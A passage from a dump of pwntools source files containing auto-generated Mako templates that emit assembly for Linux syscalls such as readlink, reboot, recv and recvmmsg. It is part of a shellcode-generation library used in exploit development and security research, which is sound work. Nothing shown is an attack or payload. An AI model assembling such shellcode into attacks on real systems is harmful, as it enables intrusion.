argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_readahead']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_readahead'])\n%>\n    /* readahead(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/readdir.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>readdir(dirp) -> str\n\nInvokes the syscall readdir.\n\nSee 'man 2 readdir' for more information.\n\nArguments:\n    dirp(DIR*): dirp\nReturns:\n    dirent*\n</%docstring>\n<%page args=\"dirp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['dirp']\n    argument_values = [dirp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_readdir']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_readdir'])\n%>\n    /* readdir(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/readlink.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>readlink(path, buf, length) -> str\n\nInvokes the syscall readlink.\n\nSee 'man 2 readlink' for more information.\n\nArguments:\n    path(char*): path\n    buf(char*): buf\n    length(size_t): length\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, buf=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'buf']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'buf', 'length']\n    argument_values = [path, buf, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_readlink']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_readlink'])\n%>\n    /* readlink(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/readlinkat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>readlinkat(fd, path, buf, length) -> str\n\nInvokes the syscall readlinkat.\n\nSee 'man 2 readlinkat' for more information.\n\nArguments:\n    fd(int): fd\n    path(char*): path\n    buf(char*): buf\n    length(size_t): length\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, path=0, buf=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'path', 'buf', 'length']\n    argument_values = [fd, path, buf, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_readlinkat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_readlinkat'])\n%>\n    /* readlinkat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/readv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>readv(fd, iovec, count) -> str\n\nInvokes the syscall readv.\n\nSee 'man 2 readv' for more information.\n\nArguments:\n    fd(int): fd\n    iovec(iovec*): iovec\n    count(int): count\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, iovec=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'iovec', 'count']\n    argument_values = [fd, iovec, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_readv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_readv'])\n%>\n    /* readv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/reboot.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>reboot(howto) -> str\n\nInvokes the syscall reboot.\n\nSee 'man 2 reboot' for more information.\n\nArguments:\n    howto(int): howto\nReturns:\n    int\n</%docstring>\n<%page args=\"howto=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['howto']\n    argument_values = [howto]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_reboot']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_reboot'])\n%>\n    /* reboot(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/recv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>recv(fd, buf, n, flags) -> str\n\nInvokes the syscall recv.\n\nSee 'man 2 recv' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    flags(int): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'flags']\n    argument_values = [fd, buf, n, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_recv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_recv'])\n%>\n    /* recv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/recvfrom.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>recvfrom(fd, buf, n, flags, addr, addr_len) -> str\n\nInvokes the syscall recvfrom.\n\nSee 'man 2 recvfrom' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    flags(int): flags\n    addr(SOCKADDR_ARG): addr\n    addr_len(socklen_t*): addr_len\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, flags=0, addr=0, addr_len=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'flags', 'addr', 'addr_len']\n    argument_values = [fd, buf, n, flags, addr, addr_len]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_recvfrom']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_recvfrom'])\n%>\n    /* recvfrom(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/recvmmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>recvmmsg(fd, vmessages, vlen, flags, tmo) -> str\n\nInvokes the syscall recvmmsg.\n\nSee 'man 2 recvmmsg' for more information.\n\nArguments:\n    fd(int): fd\n    vmessages(mmsghdr*): vmessages\n    vlen(unsigned): vlen\n    flags(int): flags\n    tmo(timespec*): tmo\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, vmessages=0, vlen=0, flags=0, tmo=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'vmessages', 'vlen', 'flags', 'tmo']\n    argument_values = [fd, vmessages, vlen, flags, tmo]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_recvmmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_recvmmsg'])\n%>\n    /* recvmmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/recvmmsg_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>recvmmsg_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall recvmmsg_time64.\n\nSee 'man 2 recvmmsg_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and 